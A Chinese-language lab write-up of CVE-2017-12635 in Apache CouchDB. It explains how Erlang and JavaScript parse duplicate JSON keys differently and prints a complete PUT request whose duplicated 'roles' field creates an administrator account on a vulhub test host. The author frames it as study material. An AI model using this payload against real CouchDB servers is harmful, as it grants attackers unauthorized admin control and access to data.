couchdb簡介:
- Apache CouchDB是一個開源的NoSQL數據庫,專注於易用性和成為“完全擁抱web的數據庫”。它是一個使用JSON作為數據存儲格式,javascript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。
漏洞原理:
- CVE-2017-12635:Erlang和JavaScript,對JSON解析方式的不同,導致語句執行產生差異性。這個漏洞可以讓任意用戶創建管理員,屬於垂直權限繞過漏洞。
- 舉例:
Erlang: > jiffy:decode("{"a":"1", "a":"2"}"). {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
JavaScript: > JSON.parse("{"a":"1", "a": "2"}") {a: "2"}
- 在定義一對鍵值對時,Eralang解析器將存儲兩個值;javascript只存儲第二個值。但jiffy實現時,getter函數只返回第一個值。這里涉及的函數參考:https://www.anquanke.com/post/id/87256;https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
影響版本:
- 小於 1.7.0 以及 小於 2.1.1
復現:
- 構造創建用戶的數據包
- org.couchdb,user:$name 與name:$name是對應的,此時我們沒有admin權限,所以會報錯forbidden。
- 繞過role驗證:
- payload:
-
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 192.168.183.134:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 110 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles":[], "password": "vulhub111" }
-
一些小思考:
- 雖然分析說,只讀取第一個鍵值,按理來說,第二個值是任意的應該不影響,但我測試發現,只有為空時,poc才正確操作。
- 且在創建一個成功后,再重復發包,也會報錯409,
- 修改已創建的密碼也不行
總結:
這個還是比較好利用,但是請別借此破壞信息安全,僅為學習。